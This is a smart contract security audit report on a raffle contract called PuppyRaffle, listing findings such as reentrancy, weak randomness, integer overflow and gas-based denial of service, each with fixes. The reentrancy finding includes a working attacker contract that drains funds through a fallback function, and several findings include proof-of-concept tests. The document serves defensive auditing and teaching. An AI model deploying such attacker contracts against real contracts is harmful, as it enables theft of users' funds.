Protocol Audit Report

Version 1.0

Keyword

January 7, 2024

Protocol Audit Report

xKeywordx

January 7, 2024

Prepared by: xKeywordx Lead Auditors:

- Keyword

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters: `address[] participants` : A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Keyword makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Info	7
Total	15

Findings

Highs

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain contract balance.

Description: The PyppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an extranal call to the msg.sender address and only after making the external call do we update the PuppyRaffle:players array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
  }
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle:refund function again and claim another refund. They could continue this cycle until they drain all the funds in the contract.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.
3. Attacker enters the raffle.
4. Attacker calls the PuppyRaffle:refund from their attack contract, draining the contract balance.

Code

Place the following into PuppyRaffleTest.t.sol

```
  function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    //attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: ",
        startingAttackContractBalance);
    console.log("starting contract balance: ",
        startingAttackContractBalance);

    console.log("ending attacker contract balance: ", address(
        attackerContract).balance);
    console.log("ending contract balance: ", address(puppyRaffle).
        balance);

}
```

And this contract as well.

```
contract ReentrancyAttacker {
  PuppyRaffle puppyRaffleContract;
  uint256 entranceFee;
  uint256 attackerIndex;

  constructor(PuppyRaffle _puppyRaffleContract) {
    puppyRaffleContract = _puppyRaffleContract;
    entranceFee = puppyRaffleContract.entranceFee();
  }

  function attack() external payable {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyRaffleContract.enterRaffle{value: entranceFee}(players);

    attackerIndex = puppyRaffleContract.getActivePlayerIndex(address(
        this));
    puppyRaffleContract.refund(attackerIndex);
  }

```

```
    function _stealMoney() internal {
      if (address(puppyRaffleContract).balance >= entranceFee) {
        puppyRaffleContract.refund(attackerIndex);
      }
    }

    fallback() external payable {
      _stealMoney();
    }

    receive() external payable {
      _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
  function refund(uint256 playerIndex) public {
      address playerAddress = players[playerIndex];
      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
      require(playerAddress != address(0), "PuppyRaffle: Player already
          refunded, or is not active");
+     players[playerIndex] = address(0);
+     emit RaffleRefunded(playerAddress);

      payable(msg.sender).sendValue(entranceFee);

-     players[playerIndex] = address(0);
-     emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winner puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the resulting puppy.

Using on-chain values as a randomness seed is a [well-docummented attack vector] (https://betterprogramming.pub/ho to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Use Chainlink VRF to generate random numbers.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In Solidity versions prior to `0.8.0` integers were subject to integer overflow.

Code

```
uint64 myVar = type(uint64).max;
//18446744073709551615
myVar = myVar+1;
//myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are acummulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uin64(fee);
totalFees = 800000000000000000 + 17800000000000000000;
//and this will overflow
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
```

<details>
<summary>Code</summary>

```javascript
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible solutions.

1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.

2. You could use `SafeMath` library of OpenZeppelin for version `0.7.6` of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
  There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Mediums

[M-1] Looping through players array to check for duplicates `PuppyRaffle::enterRaffle` is a potential DoS attack, incrementing gas costs for future entrants.

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicate addresses. However, the longer `PuppyRaffle::players` array is, the more checks a new player will have to make. This means that gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit Dos Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guarenteeing themselves the win.

Proof of Concept

If we have two sets of 100 players enter, the gas costs will be as such:

- 1st 100 players ~6252048 gas
- 2nd 100 players ~18068138 gas

This is 3x more expensive for the 2nd batch of players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        //gas for the first 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
           );

        //gas for the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
           gasprice;
        console.log("Gas cost of the second 100 players: ",
           gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same user from entering multiple times, only the same wallet address.
2. Consider a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

[M-2] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects payment, the lottery would not be able to start.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `slectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallets entrants (not recommended).
2. Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner claim their prize. (Recommended)

Lows

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players, and for the players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return 0 is not in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
  uint256 playersLength = players.length;
  for (uint256 i = 0; i < playersLength; i++) {
    if (players[i] == player) {
      return i;
    }
  }
  return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, and he is the first player.
2. `PuppyRaffle::getActivePlayerIndex` return 0.
3. User thinks he has not entered correctly, due to the function docummentation.
4. They retry to enter, and the transaction reverts because the same wallet can not enter twice, and user loses gas.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player if the player is not active.

Gas

[G-1] Unchanged state variables should be declaredd constant or immutable.

Reading from storage is more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+    uint256 playersLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
+        for (uint256 j = i + 1; j < playersLength; j++) {
```

```
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Info

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

[I-2]: Using outdate version of Solidity is not recommened

Please use a newer version like `0.8.18`

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 68
- Found in src/PuppyRaffle.sol Line: 171
- Found in src/PuppyRaffle.sol Line: 194

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-   (bool success, ) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner"
  );
    _safeMint(winner, tokenId);
+   (bool success, ) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner"
  );
```

[I-5] Use of "magic numbers" is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if if the numbers are given a name.

Examples:

```
  uint256 prizePool = (totalAmountCollected * 80) / 100;
  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```